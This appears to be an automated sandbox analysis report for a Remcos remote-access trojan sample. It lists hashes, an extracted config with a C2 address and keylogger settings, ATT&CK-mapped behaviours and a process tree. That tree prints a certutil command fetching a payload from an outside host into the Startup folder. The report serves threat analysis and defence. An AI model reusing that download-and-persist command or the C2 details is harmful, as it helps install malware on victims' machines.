remcos | 15161a370a98f716582c8267c0c15378d44bf8194ce5881fd6e596dfccd6146b

General

Target
tmpn5eu85o3.exe
Size 1.1MB
Sample260601-2fd9zagt5v
SHA256 15161a370a98f716582c8267c0c15378d44bf8194ce5881fd6e596dfccd6146b
MD5 42e43cb05d9c920b17961673773a3e0d
SHA1 339d90b5130408d2e0d9ce0a92522bf30bb33f6b
SHA512 f26af7c42d0f47143ee2eff8d59a733c3ae7a9f53393f2948504e521dd4b6a48610a46f62594e092fc068bfd07baa163d188a8001f8d87464ac08a43e643c8b5
SSDEEP 24576:Z/CNBKOsWsN6640tJn5mTBQGktmLa2nMviVD56cpzdwf7wVny:6KOaBfIBQG6ga2nwif6cxd20Vny
TLSH
T11D45BE0273D1C032FFABA2739B2AE641567978294573C52F139829BCBD706B2563D723
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

remote%host discovery remcos rat

Malware Config

Extracted

Family

remcos

Version

2.4.5 Pro

Botnet

Remote%Host

C2

www.rmagent.biz:7181

Attributes

audio_folder
MicRecords
audio_path
%AppData%
audio_record_time
5
connect_delay
0
connect_interval
1
copy_file
vbs.server.exe
copy_folder
vbs.server
delete_file
true
hide_file
true
hide_keylog_file
false
install_flag
false
install_path
%AppData%
keylog_crypt
false
keylog_file
logs.dat
keylog_flag
false
keylog_folder
remcos
keylog_path
%AppData%
mouse_option
false
mutex
Remcos-00GA1C
screenshot_crypt
false
screenshot_flag
false
screenshot_folder
Screenshots
screenshot_path
%AppData%
screenshot_time
10
startup_value
vbs.server
take_screenshot_option
false
take_screenshot_time
5
take_screenshot_title
wikipedia;solitaire;

Signatures

Family: Remcos
Remcos is a closed-source remote control and surveillance software.
rat remcos

Manipulates Digital Signatures 1 TTPs 3 IoCs

Attackers can apply techniques such as changing the registry keys of authenticode & Cryptography to make their binary seem validly signed.

SIP and Trust Provider Hijacking

T1553.003

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Cryptography\OID\EncodingType 0\CryptDllFindOIDInfo\1.3.6.1.4.1.311.60.3.1!7\Name = "szOID_ROOT_PROGRAM_AUTO_UPDATE_CA_REVOCATION"	certutil.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Cryptography\OID\EncodingType 0\CryptDllFindOIDInfo\1.3.6.1.4.1.311.60.3.2!7\Name = "szOID_ROOT_PROGRAM_AUTO_UPDATE_END_REVOCATION"	certutil.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Cryptography\OID\EncodingType 0\CryptDllFindOIDInfo\1.3.6.1.4.1.311.60.3.3!7\Name = "szOID_ROOT_PROGRAM_NO_OCSP_FAILOVER_TO_CRL"	certutil.exe

Drops startup file 1 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\BluetoothApis.lnk	tmpn5eu85o3.exe

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 2736 set thread context of 6100	2736	tmpn5eu85o3.exe	83

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 3 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	certutil.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	tmpn5eu85o3.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe

Suspicious behavior: EnumeratesProcesses 28 IoCs

pid	Process
2736	tmpn5eu85o3.exe
2736	tmpn5eu85o3.exe
2736	tmpn5eu85o3.exe
2736	tmpn5eu85o3.exe
2736	tmpn5eu85o3.exe
2736	tmpn5eu85o3.exe
2736	tmpn5eu85o3.exe
2736	tmpn5eu85o3.exe
2736	tmpn5eu85o3.exe
2736	tmpn5eu85o3.exe
2736	tmpn5eu85o3.exe
2736	tmpn5eu85o3.exe
2736	tmpn5eu85o3.exe
2736	tmpn5eu85o3.exe
2736	tmpn5eu85o3.exe
2736	tmpn5eu85o3.exe
2736	tmpn5eu85o3.exe
2736	tmpn5eu85o3.exe
2736	tmpn5eu85o3.exe
2736	tmpn5eu85o3.exe
2736	tmpn5eu85o3.exe
2736	tmpn5eu85o3.exe
2736	tmpn5eu85o3.exe
2736	tmpn5eu85o3.exe
2736	tmpn5eu85o3.exe
2736	tmpn5eu85o3.exe
2736	tmpn5eu85o3.exe
2736	tmpn5eu85o3.exe

Suspicious use of FindShellTrayWindow 3 IoCs

pid	Process
2736	tmpn5eu85o3.exe
2736	tmpn5eu85o3.exe
2736	tmpn5eu85o3.exe

Suspicious use of SendNotifyMessage 3 IoCs

pid	Process
2736	tmpn5eu85o3.exe
2736	tmpn5eu85o3.exe
2736	tmpn5eu85o3.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
6100	tmpn5eu85o3.exe

Suspicious use of WriteProcessMemory 4 IoCs

description	pid	Process	procid_target
PID 2736 wrote to memory of 3508	2736	tmpn5eu85o3.exe	80
PID 3508 wrote to memory of 1728	3508	cmd.exe	82
PID 2736 wrote to memory of 6100	2736	tmpn5eu85o3.exe	83
PID 2736 wrote to memory of 6100	2736	tmpn5eu85o3.exe	83

C:\Users\Admin\AppData\Local\Temp\tmpn5eu85o3.exe
"C:\Users\Admin\AppData\Local\Temp\tmpn5eu85o3.exe"
1⤵
- Drops startup file
- Suspicious use of SetThreadContext
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
PID:2736
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\startup.bat" "
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:3508
- - C:\Windows\SysWOW64\certutil.exe
    certutil.exe -urlcache -split -f "http://al-sharqgroup.com/remcos_agent.exe" "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\yourfile.exe"
    3⤵
    - Manipulates Digital Signatures
    - System Location Discovery: System Language Discovery
    PID:1728
- C:\Users\Admin\AppData\Local\Temp\tmpn5eu85o3.exe
  "C:\Users\Admin\AppData\Local\Temp\tmpn5eu85o3.exe"
  2⤵
  - Suspicious use of SetWindowsHookEx
  PID:6100

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Subvert Trust Controls

1

T1553

SIP and Trust Provider Hijacking

1

T1553.003

Credential Access

Discovery

System Information Discovery

1

T1082

System Location Discovery

1

T1614

System Language Discovery

1

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

startup.bat

Path C:\Users\Admin\AppData\Local\Temp\startup.bat
Size 189B
SHA256 1aa1d3f94403886d377c65cf35624d289107ea78beedaf433d18c83b20c3092f
MD5 139392ca64ff374fa0d7b289c71fb24e
SHA1 a27c528fae02089f727751549bec330f7d2cc679
SHA512 e48ad200ece7146416dbbe6f503352c430144f30592904c919af92ef94a0e4ec8604f61ebc4f58ebee094cea47fd22c4ee0da87f06e1c1bada0827a6a80b376a
TLSH
T115C0C0D2407104ABEB13382111E3868020E9C8C7B300CD0244100F7AC50948890FC103
MD5 SHA1 SHA512 TLSH

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logs.dat

Path C:\Users\Admin\AppData\Roaming\remcos\logs.dat
Size 79B
SHA256 83956493a63043ec699ea09188e88f2812b13208df28c68398b43d83c35eaa16
MD5 fc4645de1e0d8f70650924c1cf5f0fa9
SHA1 0670e5e653720d360a1b8cf9f4ace50abfbc44b4
SHA512 6ae20501f17b6fcaf6e4421a9617b6380685586609cc4dd1ff4ccf46fbf0243da76f73db851f67bc8f025f8413873ea5673fc5512b5f6bf51ef7f09d03d94e8f
TLSH
T12EA0120707844490310601CFE8818745254190EF810A40465890240E001186A023904C
MD5 SHA1 SHA512 TLSH

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memory/2736-6-0x0000000003C70000-0x0000000003C71000-memory.dmp

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memory/6100-7-0x0000000000350000-0x0000000000370000-memory.dmp

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memory/6100-14-0x0000000000350000-0x0000000000370000-memory.dmp

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memory/6100-15-0x0000000000350000-0x0000000000370000-memory.dmp

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memory/6100-18-0x0000000000350000-0x0000000000370000-memory.dmp

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Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

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